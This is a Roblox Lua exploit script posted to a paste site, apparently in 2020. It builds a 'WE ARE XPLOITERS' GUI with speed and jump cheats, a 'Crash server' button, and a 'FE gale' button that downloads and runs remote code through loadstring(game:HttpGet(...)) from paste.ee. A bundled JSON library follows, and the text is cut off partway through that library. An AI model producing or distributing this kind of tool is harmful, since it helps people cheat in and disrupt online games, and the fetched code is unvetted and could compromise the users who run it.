· 4 years ago · Dec 15, 2020, 06:58 AM
1-- got to update this $h:it on pastebin You can copy anything here before it will be gone
2-- Version: 0.78.88b
3
4-- Instances:
5
6local ScreenGui = Instance.new("ScreenGui")
7local Main = Instance.new("Frame")
8local T4 = Instance.new("TextLabel")
9local T3 = Instance.new("TextLabel")
10local T2 = Instance.new("TextLabel")
11local T1 = Instance.new("TextLabel")
12local Settingsbutton = Instance.new("ImageButton")
13local SIMP = Instance.new("TextLabel")
14local TheFrame1 = Instance.new("Frame")
15local t0 = Instance.new("TextButton")
16local t9 = Instance.new("TextButton")
17local t8 = Instance.new("TextButton")
18local theme = Instance.new("TextButton")
19local ed = Instance.new("TextButton")
20local X = Instance.new("TextButton")
21local sy = Instance.new("TextButton")
22local LOL = Instance.new("Frame")
23local texttitle200 = Instance.new("TextLabel")
24local texttitle100 = Instance.new("TextLabel")
25local Start = Instance.new("Frame")
26local OpenaClose = Instance.new("TextButton")
27local TextButton = Instance.new("TextButton")
28local TheFrame = Instance.new("Frame")
29local Window1 = Instance.new("Frame")
30local sp50 = Instance.new("TextButton")
31local sp100 = Instance.new("TextButton")
32local sp200 = Instance.new("TextButton")
33local sp300 = Instance.new("TextButton")
34local Frame = Instance.new("Frame")
35local Window2 = Instance.new("Frame")
36local Window = Instance.new("Frame")
37local J1 = Instance.new("TextButton")
38local J2 = Instance.new("TextButton")
39local J3 = Instance.new("TextButton")
40local J4 = Instance.new("TextButton")
41local Frame_2 = Instance.new("Frame")
42local guiframe1 = Instance.new("Frame")
43local Crash = Instance.new("TextButton")
44local Gale = Instance.new("TextButton")
45local Darkhub = Instance.new("TextButton")
46
47--Properties:
48
49ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
50ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
51
52Main.Name = "Main"
53Main.Parent = ScreenGui
54Main.BackgroundColor3 = Color3.fromRGB(44, 44, 44)
55Main.Position = UDim2.new(0, -600, 0.5, -200)
56Main.Size = UDim2.new(0, 202, 0, 234)
57
58T4.Name = "T4"
59T4.Parent = Main
60T4.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
61T4.BackgroundTransparency = 1.000
62T4.Position = UDim2.new(0.00495049497, 0, 0, 0)
63T4.Size = UDim2.new(0, 168, 0, 48)
64T4.Font = Enum.Font.SourceSans
65T4.Text = "CODE"
66T4.TextColor3 = Color3.fromRGB(138, 138, 138)
67T4.TextScaled = true
68T4.TextSize = 14.000
69T4.TextWrapped = true
70
71T3.Name = "T3"
72T3.Parent = Main
73T3.BackgroundColor3 = Color3.fromRGB(141, 141, 141)
74T3.BackgroundTransparency = 1.000
75T3.Position = UDim2.new(0.00495049497, 0, 0, 0)
76T3.Size = UDim2.new(0, 175, 0, 48)
77T3.Font = Enum.Font.SourceSans
78T3.Text = "CODE"
79T3.TextColor3 = Color3.fromRGB(255, 255, 255)
80T3.TextScaled = true
81T3.TextSize = 14.000
82T3.TextWrapped = true
83
84T2.Name = "T2"
85T2.Parent = Main
86T2.BackgroundColor3 = Color3.fromRGB(141, 141, 141)
87T2.BackgroundTransparency = 1.000
88T2.Position = UDim2.new(0.405940592, 0, 0, 0)
89T2.Size = UDim2.new(0, 175, 0, 48)
90T2.Font = Enum.Font.SourceSans
91T2.Text = "X"
92T2.TextColor3 = Color3.fromRGB(185, 185, 185)
93T2.TextScaled = true
94T2.TextSize = 14.000
95T2.TextWrapped = true
96
97T1.Name = "T1"
98T1.Parent = Main
99T1.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
100T1.BackgroundTransparency = 1.000
101T1.Position = UDim2.new(0.405940592, 0, 0, 0)
102T1.Size = UDim2.new(0, 168, 0, 48)
103T1.Font = Enum.Font.SourceSans
104T1.Text = "X"
105T1.TextColor3 = Color3.fromRGB(28, 255, 16)
106T1.TextScaled = true
107T1.TextSize = 14.000
108T1.TextWrapped = true
109
110Settingsbutton.Name = "Settingsbutton"
111Settingsbutton.Parent = Main
112Settingsbutton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
113Settingsbutton.BackgroundTransparency = 1.000
114Settingsbutton.BorderColor3 = Color3.fromRGB(27, 42, 53)
115Settingsbutton.Position = UDim2.new(0.470297039, 0, 0.726495743, 0)
116Settingsbutton.Size = UDim2.new(0, 46, 0, 48)
117Settingsbutton.Image = "rbxassetid://1291127922"
118
119SIMP.Name = "SIMP"
120SIMP.Parent = Main
121SIMP.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
122SIMP.BackgroundTransparency = 1.000
123SIMP.Position = UDim2.new(0, 0, 0.111111112, 0)
124SIMP.Size = UDim2.new(0, 200, 0, 50)
125SIMP.Font = Enum.Font.SourceSans
126SIMP.Text = "A simple Gui"
127SIMP.TextColor3 = Color3.fromRGB(255, 255, 255)
128SIMP.TextSize = 14.000
129
130TheFrame1.Name = "TheFrame1"
131TheFrame1.Parent = Main
132TheFrame1.BackgroundColor3 = Color3.fromRGB(44, 44, 44)
133TheFrame1.Position = UDim2.new(0, -600, 0.5, -200)
134TheFrame1.Size = UDim2.new(0, 188, 0, 100)
135
136t0.Name = "t0"
137t0.Parent = TheFrame1
138t0.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
139t0.BackgroundTransparency = 1.000
140t0.Position = UDim2.new(0.234042555, 0, 0.0599999987, 0)
141t0.Size = UDim2.new(0, 44, 0, 27)
142t0.Font = Enum.Font.SourceSans
143t0.Text = "Code"
144t0.TextColor3 = Color3.fromRGB(255, 255, 255)
145t0.TextSize = 14.000
146
147t9.Name = "t9"
148t9.Parent = TheFrame1
149t9.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
150t9.BackgroundTransparency = 1.000
151t9.Position = UDim2.new(0.398936182, 0, 0.0599999987, 0)
152t9.Size = UDim2.new(0, 44, 0, 27)
153t9.Font = Enum.Font.SourceSans
154t9.Text = "X"
155t9.TextColor3 = Color3.fromRGB(85, 255, 127)
156t9.TextSize = 14.000
157
158t8.Name = "t8"
159t8.Parent = TheFrame1
160t8.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
161t8.BackgroundTransparency = 1.000
162t8.Position = UDim2.new(0.627659559, 0, 0.0599999987, 0)
163t8.Size = UDim2.new(0, 44, 0, 27)
164t8.Font = Enum.Font.SourceSans
165t8.Text = "Settings"
166t8.TextColor3 = Color3.fromRGB(255, 248, 249)
167t8.TextSize = 14.000
168
169theme.Name = "theme"
170theme.Parent = TheFrame1
171theme.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
172theme.BackgroundTransparency = 1.000
173theme.Position = UDim2.new(0.0585105419, 0, 0.519999981, 0)
174theme.Size = UDim2.new(0, 64, 0, 36)
175theme.Font = Enum.Font.SciFi
176theme.Text = "Theme: HACKER"
177theme.TextColor3 = Color3.fromRGB(18, 126, 0)
178theme.TextScaled = true
179theme.TextSize = 14.000
180theme.TextWrapped = true
181
182ed.Name = "ed"
183ed.Parent = TheFrame1
184ed.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
185ed.BackgroundTransparency = 1.000
186ed.Position = UDim2.new(0.601063848, 0, 0.319999993, 0)
187ed.Size = UDim2.new(0, 56, 0, 34)
188ed.Font = Enum.Font.SciFi
189ed.Text = "Edition:"
190ed.TextColor3 = Color3.fromRGB(18, 126, 0)
191ed.TextScaled = true
192ed.TextSize = 14.000
193ed.TextWrapped = true
194
195X.Name = "X"
196X.Parent = TheFrame1
197X.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
198X.BackgroundTransparency = 1.000
199X.Position = UDim2.new(0.856383085, 0, 0.659999967, 0)
200X.Size = UDim2.new(0, 33, 0, 30)
201X.Font = Enum.Font.SourceSans
202X.Text = "X"
203X.TextColor3 = Color3.fromRGB(255, 170, 0)
204X.TextScaled = true
205X.TextSize = 14.000
206X.TextWrapped = true
207
208sy.Name = "sy"
209sy.Parent = TheFrame1
210sy.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
211sy.BackgroundTransparency = 1.000
212sy.Position = UDim2.new(0.595744669, 0, 0.659999967, 0)
213sy.Size = UDim2.new(0, 56, 0, 34)
214sy.Font = Enum.Font.SciFi
215sy.Text = "Synapse"
216sy.TextColor3 = Color3.fromRGB(255, 255, 255)
217sy.TextScaled = true
218sy.TextSize = 14.000
219sy.TextWrapped = true
220
221LOL.Name = "LOL"
222LOL.Parent = Main
223LOL.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
224LOL.BackgroundTransparency = 1.000
225LOL.Position = UDim2.new(1.57425737, 0, -1.08547008, 0)
226LOL.Size = UDim2.new(0, 208, 0, 100)
227
228texttitle200.Name = "texttitle200"
229texttitle200.Parent = LOL
230texttitle200.BackgroundColor3 = Color3.fromRGB(0, 255, 64)
231texttitle200.BackgroundTransparency = 1.000
232texttitle200.Position = UDim2.new(0, -600, 0.5, -200)
233texttitle200.Size = UDim2.new(0, 174, 0, 48)
234texttitle200.Font = Enum.Font.SourceSans
235texttitle200.Text = "WE ARE XPLOITERS"
236texttitle200.TextColor3 = Color3.fromRGB(109, 255, 11)
237texttitle200.TextScaled = true
238texttitle200.TextSize = 14.000
239texttitle200.TextWrapped = true
240
241texttitle100.Name = "texttitle100"
242texttitle100.Parent = LOL
243texttitle100.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
244texttitle100.BackgroundTransparency = 1.000
245texttitle100.Position = UDim2.new(0, -600, 0.5, -200)
246texttitle100.Size = UDim2.new(0, 167, 0, 48)
247texttitle100.Font = Enum.Font.SourceSans
248texttitle100.Text = "WE ARE XPLOITERS"
249texttitle100.TextColor3 = Color3.fromRGB(138, 138, 138)
250texttitle100.TextScaled = true
251texttitle100.TextSize = 14.000
252texttitle100.TextWrapped = true
253
254Start.Name = "Start"
255Start.Parent = Main
256Start.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
257Start.Position = UDim2.new(0.403062522, 0, 0.282853842, 0)
258Start.Size = UDim2.new(0, 100, 0, 100)
259
260OpenaClose.Name = "OpenaClose"
261OpenaClose.Parent = Start
262OpenaClose.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
263OpenaClose.BackgroundTransparency = 0.500
264OpenaClose.BorderSizePixel = 0
265OpenaClose.Position = UDim2.new(0.625729561, 5, 0.725939035, -50)
266OpenaClose.Size = UDim2.new(0, 32, 0, 62)
267OpenaClose.Font = Enum.Font.SourceSansBold
268OpenaClose.Text = ">"
269OpenaClose.TextColor3 = Color3.fromRGB(255, 255, 255)
270OpenaClose.TextScaled = true
271OpenaClose.TextSize = 14.000
272OpenaClose.TextStrokeTransparency = 0.000
273OpenaClose.TextWrapped = true
274
275TextButton.Parent = Start
276TextButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
277TextButton.BackgroundTransparency = 1.000
278TextButton.Position = UDim2.new(0.138956144, 0, 0.235682368, 0)
279TextButton.Size = UDim2.new(0, 54, 0, 61)
280TextButton.Font = Enum.Font.SciFi
281TextButton.Text = "Start Code X"
282TextButton.TextColor3 = Color3.fromRGB(0, 168, 47)
283TextButton.TextScaled = true
284TextButton.TextSize = 14.000
285TextButton.TextWrapped = true
286
287TheFrame.Name = "TheFrame"
288TheFrame.Parent = Start
289TheFrame.BackgroundColor3 = Color3.fromRGB(44, 44, 44)
290TheFrame.Position = UDim2.new(0, -600, 0.5, -200)
291TheFrame.Size = UDim2.new(0, 199, 0, 234)
292
293Window1.Name = "Window1"
294Window1.Parent = TheFrame
295Window1.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
296Window1.BackgroundTransparency = 1.000
297Window1.Size = UDim2.new(0, 199, 0, 226)
298
299sp50.Name = "sp50"
300sp50.Parent = Window1
301sp50.BackgroundColor3 = Color3.fromRGB(116, 116, 116)
302sp50.Position = UDim2.new(0.0348258466, 0, 0.166666672, 0)
303sp50.Size = UDim2.new(0, 186, 0, 28)
304sp50.Font = Enum.Font.SourceSans
305sp50.Text = "Speed 50"
306sp50.TextColor3 = Color3.fromRGB(0, 0, 0)
307sp50.TextSize = 14.000
308
309sp100.Name = "sp100"
310sp100.Parent = Window1
311sp100.BackgroundColor3 = Color3.fromRGB(116, 116, 116)
312sp100.Position = UDim2.new(0.0348258466, 0, 0.384615391, 0)
313sp100.Size = UDim2.new(0, 186, 0, 28)
314sp100.Font = Enum.Font.SourceSans
315sp100.Text = "Speed 100"
316sp100.TextColor3 = Color3.fromRGB(0, 0, 0)
317sp100.TextSize = 14.000
318
319sp200.Name = "sp200"
320sp200.Parent = Window1
321sp200.BackgroundColor3 = Color3.fromRGB(116, 116, 116)
322sp200.Position = UDim2.new(0.0301507544, 0, 0.594017088, 0)
323sp200.Size = UDim2.new(0, 186, 0, 28)
324sp200.Font = Enum.Font.SourceSans
325sp200.Text = "Speed 200"
326sp200.TextColor3 = Color3.fromRGB(0, 0, 0)
327sp200.TextSize = 14.000
328
329sp300.Name = "sp300"
330sp300.Parent = Window1
331sp300.BackgroundColor3 = Color3.fromRGB(116, 116, 116)
332sp300.Position = UDim2.new(0.0301507544, 0, 0.799145281, 0)
333sp300.Size = UDim2.new(0, 186, 0, 28)
334sp300.Font = Enum.Font.SourceSans
335sp300.Text = "Speed 300"
336sp300.TextColor3 = Color3.fromRGB(0, 0, 0)
337sp300.TextSize = 14.000
338
339Frame.Parent = Window1
340Frame.BackgroundColor3 = Color3.fromRGB(10, 255, 46)
341Frame.Position = UDim2.new(0, 0, 0.0341880359, 0)
342Frame.Size = UDim2.new(0, 199, 0, 2)
343
344Window2.Name = "Window2"
345Window2.Parent = TheFrame
346Window2.BackgroundColor3 = Color3.fromRGB(44, 44, 44)
347Window2.Position = UDim2.new(1.34673369, 0, -0.000188034028, 0)
348Window2.Size = UDim2.new(0, 199, 0, 234)
349
350Window.Name = "Window"
351Window.Parent = Window2
352Window.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
353Window.BackgroundTransparency = 1.000
354Window.Size = UDim2.new(0, 199, 0, 226)
355
356J1.Name = "J1"
357J1.Parent = Window
358J1.BackgroundColor3 = Color3.fromRGB(116, 116, 116)
359J1.Position = UDim2.new(0.0348258466, 0, 0.166666672, 0)
360J1.Size = UDim2.new(0, 186, 0, 28)
361J1.Font = Enum.Font.SourceSans
362J1.Text = "Jump 50"
363J1.TextColor3 = Color3.fromRGB(0, 0, 0)
364J1.TextSize = 14.000
365
366J2.Name = "J2"
367J2.Parent = Window
368J2.BackgroundColor3 = Color3.fromRGB(116, 116, 116)
369J2.Position = UDim2.new(0.0348258466, 0, 0.384615391, 0)
370J2.Size = UDim2.new(0, 186, 0, 28)
371J2.Font = Enum.Font.SourceSans
372J2.Text = "Jump 100"
373J2.TextColor3 = Color3.fromRGB(0, 0, 0)
374J2.TextSize = 14.000
375
376J3.Name = "J3"
377J3.Parent = Window
378J3.BackgroundColor3 = Color3.fromRGB(116, 116, 116)
379J3.Position = UDim2.new(0.0301507544, 0, 0.594017088, 0)
380J3.Size = UDim2.new(0, 186, 0, 28)
381J3.Font = Enum.Font.SourceSans
382J3.Text = "Jump 200"
383J3.TextColor3 = Color3.fromRGB(0, 0, 0)
384J3.TextSize = 14.000
385
386J4.Name = "J4"
387J4.Parent = Window
388J4.BackgroundColor3 = Color3.fromRGB(116, 116, 116)
389J4.Position = UDim2.new(0.0301507544, 0, 0.799145281, 0)
390J4.Size = UDim2.new(0, 186, 0, 28)
391J4.Font = Enum.Font.SourceSans
392J4.Text = "jump 300"
393J4.TextColor3 = Color3.fromRGB(0, 0, 0)
394J4.TextSize = 14.000
395
396Frame_2.Parent = Window
397Frame_2.BackgroundColor3 = Color3.fromRGB(10, 255, 46)
398Frame_2.Position = UDim2.new(0, 0, 0.0341880359, 0)
399Frame_2.Size = UDim2.new(0, 199, 0, 2)
400
401guiframe1.Name = "guiframe1"
402guiframe1.Parent = TheFrame
403guiframe1.BackgroundColor3 = Color3.fromRGB(44, 44, 44)
404guiframe1.Position = UDim2.new(0.427135676, 0, 1.18376076, 0)
405guiframe1.Size = UDim2.new(0, 375, 0, 100)
406guiframe1.Style = Enum.FrameStyle.ChatGreen
407
408Crash.Name = "Crash"
409Crash.Parent = guiframe1
410Crash.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
411Crash.Position = UDim2.new(0.155754477, 0, -0.107367545, 0)
412Crash.Size = UDim2.new(0, 222, 0, 27)
413Crash.Font = Enum.Font.SourceSans
414Crash.Text = "Crash server [wait 5 min and u will unfreeze"
415Crash.TextColor3 = Color3.fromRGB(0, 0, 0)
416Crash.TextSize = 14.000
417
418Gale.Name = "Gale"
419Gale.Parent = guiframe1
420Gale.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
421Gale.Position = UDim2.new(0.187192872, 0, 0.400800169, 0)
422Gale.Size = UDim2.new(0, 200, 0, 27)
423Gale.Font = Enum.Font.SourceSans
424Gale.Text = "FE gale"
425Gale.TextColor3 = Color3.fromRGB(0, 0, 0)
426Gale.TextSize = 14.000
427
428Darkhub.Name = "Darkhub"
429Darkhub.Parent = guiframe1
430Darkhub.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
431Darkhub.Position = UDim2.new(0.161087811, 0, 0.827468276, 0)
432Darkhub.Size = UDim2.new(0, 220, 0, 27)
433Darkhub.Font = Enum.Font.SourceSans
434Darkhub.Text = "Dark hub"
435Darkhub.TextColor3 = Color3.fromRGB(0, 0, 0)
436Darkhub.TextSize = 14.000
437
438-- Scripts:
439
440local function SBZTI_fake_script() -- Settingsbutton.Trigger
441 local script = Instance.new('Script', Settingsbutton)
442
443 script.Parent.MouseButton1Click:connect(function()
444 if script.Parent.Parent.TheFrame1.Position == UDim2.new(0, -600, 0.5, -200) then
445 script.Parent.Active = false
446 script.Parent.Parent.TheFrame1:TweenPosition(UDim2.new(0.035, 0,1.043, 0), "Out", "Bounce", 0.5)
447 else
448 script.Parent.Active = false
449 script.Parent.Parent.TheFrame1:TweenPosition(UDim2.new(0, -600, 0.5, -200), "In", "Quart", 0.3)
450 end
451 end)
452end
453coroutine.wrap(SBZTI_fake_script)()
454local function USPS_fake_script() -- sy.Trigger
455 local script = Instance.new('Script', sy)
456
457 script.Parent.MouseButton1Click:connect(function()
458 while true do
459 wait(1)
460 script.Parent.Text = "krnl"
461 wait(1)
462 script.Parent.Text = "Synapse"
463 end
464
465
466 end)
467end
468coroutine.wrap(USPS_fake_script)()
469local function BRXYLH_fake_script() -- texttitle200.Script
470 local script = Instance.new('Script', texttitle200)
471
472
473 wait(5)
474
475
476
477 script.Parent:TweenPosition(UDim2.new(0.014, 0,0, 0), "Out", "Bounce", 0.5)
478
479
480end
481coroutine.wrap(BRXYLH_fake_script)()
482local function HTAP_fake_script() -- texttitle100.Script
483 local script = Instance.new('Script', texttitle100)
484
485
486 wait(5)
487
488
489
490 script.Parent:TweenPosition(UDim2.new(0.014, 0,0, 0), "Out", "Bounce", 0.5)
491
492
493
494end
495coroutine.wrap(HTAP_fake_script)()
496local function RCBC_fake_script() -- Main.Script
497 local script = Instance.new('Script', Main)
498
499
500 wait(3)
501
502
503
504 script.Parent:TweenPosition(UDim2.new(0, 0,0.393, 0), "Out", "Bounce", 0.5)
505
506
507end
508coroutine.wrap(RCBC_fake_script)()
509local function GXTXIUZ_fake_script() -- OpenaClose.Trigger
510 local script = Instance.new('Script', OpenaClose)
511
512 script.Parent.MouseButton1Click:connect(function()
513 if script.Parent.Parent.TheFrame.Position == UDim2.new(0, -600, 0.5, -200) then
514 script.Parent.Text = "<"
515 script.Parent.Parent.TheFrame:TweenPosition(UDim2.new(1.63, 0,-0.67, 0), "Out", "Bounce", 0.5)
516 else
517 script.Parent.Text = ">"
518 script.Parent.Parent.TheFrame:TweenPosition(UDim2.new(0, -600, 0.5, -200), "In", "Quart", 0.3)
519 end
520 end)
521end
522coroutine.wrap(GXTXIUZ_fake_script)()
523
524
525
526-----------Functions---------
527sp100.MouseButton1Down:connect(function()
528 game.Workspace.localplayer.Humanoid.WalkSpeed = 100
529end)
530
531sp200.MouseButton1Down:connect(function()
532 game.Workspace.localplayer.Humanoid.WalkSpeed = 200
533end)
534
535sp300.MouseButton1Down:connect(function()
536 game.Workspace.localplayer.Humanoid.WalkSpeed = 300
537end)
538
539sp50.MouseButton1Down:connect(function()
540 game.Workspace.localplayer.Humanoid.WalkSpeed = 45
541end)
542
543J1.MouseButton1Down:connect(function()
544 game.Workspace.localplayer.Humanoid.JumpPower = 45
545end)
546
547J2.MouseButton1Down:connect(function()
548 game.Workspace.localplayer.Humanoid.JumpPower = 100
549end)
550
551J3.MouseButton1Down:connect(function()
552 game.Workspace.localplayer.Humanoid.JumpPower = 200
553end)
554
555J4.MouseButton1Down:connect(function()
556 game.Workspace.localplayer.Humanoid.JumpPower = 300
557end)
558
559Gale.MouseButton1Down:connect(function()
560 --[[ Options ]]--
561 _G.CharacterBug = false --Set to true if your uppertorso floats when you use the script with R15.
562 _G.GodMode = true --Set to true if you want godmode.
563 _G.R6 = true --Set to true if you wanna enable R15 to R6 when your R15.
564 --[[Reanimate]]--
565 loadstring(game:HttpGet("https://paste.ee/r/uk77k/0"))()
566 -----------------
567 repeat wait() until _G.MSG ~= nil
568 repeat wait() until _G.MSG.Text == ""
569 -----------------
570
571 function LoadLibrary(a)
572 local t = {}
573
574 ------------------------------------------------------------------------------------------------------------------------
575 ------------------------------------------------------------------------------------------------------------------------
576 ------------------------------------------------------------------------------------------------------------------------
577 ------------------------------------------------JSON Functions Begin----------------------------------------------------
578 ------------------------------------------------------------------------------------------------------------------------
579 ------------------------------------------------------------------------------------------------------------------------
580 ------------------------------------------------------------------------------------------------------------------------
581
582 --JSON Encoder and Parser for Lua 5.1
583 --
584 --Copyright 2007 Shaun Brown (http://www.chipmunkav.com)
585 --All Rights Reserved.
586
587 --Permission is hereby granted, free of charge, to any person
588 --obtaining a copy of this software to deal in the Software without
589 --restriction, including without limitation the rights to use,
590 --copy, modify, merge, publish, distribute, sublicense, and/or
591 --sell copies of the Software, and to permit persons to whom the
592 --Software is furnished to do so, subject to the following conditions:
593
594 --The above copyright notice and this permission notice shall be
595 --included in all copies or substantial portions of the Software.
596 --If you find this software useful please give www.chipmunkav.com a mention.
597
598 --THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
599 --EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
600 --OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
601 --IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR
602 --ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF
603 --CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
604 --CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
605
606 local string = string
607 local math = math
608 local table = table
609 local error = error
610 local tonumber = tonumber
611 local tostring = tostring
612 local type = type
613 local setmetatable = setmetatable
614 local pairs = pairs
615 local ipairs = ipairs
616 local assert = assert
617
618
619 local StringBuilder = {
620 buffer = {}
621 }
622
623 function StringBuilder:New()
624 local o = {}
625 setmetatable(o, self)
626 self.__index = self
627 o.buffer = {}
628 return o
629 end
630
631 function StringBuilder:Append(s)
632 self.buffer[#self.buffer+1] = s
633 end
634
635 function StringBuilder:ToString()
636 return table.concat(self.buffer)
637 end
638
639 local JsonWriter = {
640 backslashes = {
641 ['\b'] = "\\b",
642 ['\t'] = "\\t",
643 ['\n'] = "\\n",
644 ['\f'] = "\\f",
645 ['\r'] = "\\r",
646 ['"'] = "\\\"",
647 ['\\'] = "\\\\",
648 ['/'] = "\\/"
649 }
650 }
651
652 function JsonWriter:New()
653 local o = {}
654 o.writer = StringBuilder:New()
655 setmetatable(o, self)
656 self.__index = self
657 return o
658 end
659
660 function JsonWriter:Append(s)
661 self.writer:Append(s)
662 end
663
664 function JsonWriter:ToString()
665 return self.writer:ToString()
666 end
667
668 function JsonWriter:Write(o)
669 local t = type(o)
670 if t == "nil" then
671 self:WriteNil()
672 elseif t == "boolean" then
673 self:WriteString(o)
674 elseif t == "number" then
675 self:WriteString(o)
676 elseif t == "string" then
677 self:ParseString(o)
678 elseif t == "table" then
679 self:WriteTable(o)
680 elseif t == "function" then
681 self:WriteFunction(o)
682 elseif t == "thread" then
683 self:WriteError(o)
684 elseif t == "userdata" then
685 self:WriteError(o)
686 end
687 end
688
689 function JsonWriter:WriteNil()
690 self:Append("null")
691 end
692
693 function JsonWriter:WriteString(o)
694 self:Append(tostring(o))
695 end
696
697 function JsonWriter:ParseString(s)
698 self:Append('"')
699 self:Append(string.gsub(s, "[%z%c\\\"/]", function(n)
700 local c = self.backslashes[n]
701 if c then return c end
702 return string.format("\\u%.4X", string.byte(n))
703 end))
704 self:Append('"')
705 end
706
707 function JsonWriter:IsArray(t)
708 local count = 0
709 local isindex = function(k)
710 if type(k) == "number" and k > 0 then
711 if math.floor(k) == k then
712 return true
713 end
714 end
715 return false
716 end
717 for k,v in pairs(t) do
718 if not isindex(k) then
719 return false, '{', '}'
720 else
721 count = math.max(count, k)
722 end
723 end
724 return true, '[', ']', count
725 end
726
727 function JsonWriter:WriteTable(t)
728 local ba, st, et, n = self:IsArray(t)
729 self:Append(st)
730 if ba then
731 for i = 1, n do
732 self:Write(t[i])
733 if i < n then
734 self:Append(',')
735 end
736 end
737 else
738 local first = true;
739 for k, v in pairs(t) do
740 if not first then
741 self:Append(',')
742 end
743 first = false;
744 self:ParseString(k)
745 self:Append(':')
746 self:Write(v)
747 end
748 end
749 self:Append(et)
750 end
751
752 function JsonWriter:WriteError(o)
753 error(string.format(
754 "Encoding of %s unsupported",
755 tostring(o)))
756 end
757
758 function JsonWriter:WriteFunction(o)
759 if o == Null then
760 self:WriteNil()
761 else
762 self:WriteError(o)
763 end
764 end
765
766 local StringReader = {
767 s = "",
768 i = 0
769 }
770
771 function StringReader:New(s)
772 local o = {}
773 setmetatable(o, self)
774 self.__index = self
775 o.s = s or o.s
776 return o
777 end
778
779 function StringReader:Peek()
780 local i = self.i + 1
781 if i <= #self.s then
782 return string.sub(self.s, i, i)
783 end
784 return nil
785 end
786
787 function StringReader:Next()
788 self.i = self.i+1
789 if self.i <= #self.s then
790 return string.sub(self.s, self.i, self.i)
791 end
792 return nil
793 end
794
795 function StringReader:All()
796 return self.s
797 end
798
799 local JsonReader = {
800 escapes = {
801 ['t'] = '\t',
802 ['n'] = '\n',
803 ['f'] = '\f',
804 ['r'] = '\r',
805 ['b'] = '\b',
806 }
807 }
808
809 function JsonReader:New(s)
810 local o = {}
811 o.reader = StringReader:New(s)
812 setmetatable(o, self)
813 self.__index = self
814 return o;
815 end
816
817 function JsonReader:Read()
818 self:SkipWhiteSpace()
819 local peek = self:Peek()
820 if peek == nil then
821 error(string.format(
822 "Nil string: '%s'",
823 self:All()))
824 elseif peek == '{' then
825 return self:ReadObject()
826 elseif peek == '[' then
827 return self:ReadArray()
828 elseif peek == '"' then
829 return self:ReadString()
830 elseif string.find(peek, "[%+%-%d]") then
831 return self:ReadNumber()
832 elseif peek == 't' then
833 return self:ReadTrue()
834 elseif peek == 'f' then
835 return self:ReadFalse()
836 elseif peek == 'n' then
837 return self:ReadNull()
838 elseif peek == '/' then
839 self:ReadComment()
840 return self:Read()
841 else
842 return nil
843 end
844 end
845
846 function JsonReader:ReadTrue()
847 self:TestReservedWord{'t','r','u','e'}
848 return true
849 end
850
851 function JsonReader:ReadFalse()
852 self:TestReservedWord{'f','a','l','s','e'}
853 return false
854 end
855
856 function JsonReader:ReadNull()
857 self:TestReservedWord{'n','u','l','l'}
858 return nil
859 end
860
861 function JsonReader:TestReservedWord(t)
862 for i, v in ipairs(t) do
863 if self:Next() ~= v then
864 error(string.format(
865 "Error reading '%s': %s",
866 table.concat(t),
867 self:All()))
868 end
869 end
870 end
871
872 function JsonReader:ReadNumber()
873 local result = self:Next()
874 local peek = self:Peek()
875 while peek ~= nil and string.find(
876 peek,
877 "[%+%-%d%.eE]") do
878 result = result .. self:Next()
879 peek = self:Peek()
880 end
881 result = tonumber(result)
882 if result == nil then
883 error(string.format(
884 "Invalid number: '%s'",
885 result))
886 else
887 return result
888 end
889 end
890
891 function JsonReader:ReadString()
892 local result = ""
893 assert(self:Next() == '"')
894 while self:Peek() ~= '"' do
895 local ch = self:Next()
896 if ch == '\\' then
897 ch = self:Next()
898 if self.escapes[ch] then
899 ch = self.escapes[ch]
900 end
901 end
902 result = result .. ch
903 end
904 assert(self:Next() == '"')
905 local fromunicode = function(m)
906 return string.char(tonumber(m, 16))
907 end
908 return string.gsub(
909 result,
910 "u%x%x(%x%x)",
911 fromunicode)
912 end
913
914 function JsonReader:ReadComment()
915 assert(self:Next() == '/')
916 local second = self:Next()
917 if second == '/' then
918 self:ReadSingleLineComment()
919 elseif second == '*' then
920 self:ReadBlockComment()
921 else
922 error(string.format(
923 "Invalid comment: %s",
924 self:All()))
925 end
926 end
927
928 function JsonReader:ReadBlockComment()
929 local done = false
930 while not done do
931 local ch = self:Next()
932 if ch == '*' and self:Peek() == '/' then
933 done = true
934 end
935 if not done and
936 ch == '/' and
937 self:Peek() == "*" then
938 error(string.format(
939 "Invalid comment: %s, '/*' illegal.",
940 self:All()))
941 end
942 end
943 self:Next()
944 end
945
946 function JsonReader:ReadSingleLineComment()
947 local ch = self:Next()
948 while ch ~= '\r' and ch ~= '\n' do
949 ch = self:Next()
950 end
951 end
952
953 function JsonReader:ReadArray()
954 local result = {}
955 assert(self:Next() == '[')
956 local done = false
957 if self:Peek() == ']' then
958 done = true;
959 end
960 while not done do
961 local item = self:Read()
962 result[#result+1] = item
963 self:SkipWhiteSpace()
964 if self:Peek() == ']' then
965 done = true
966 end
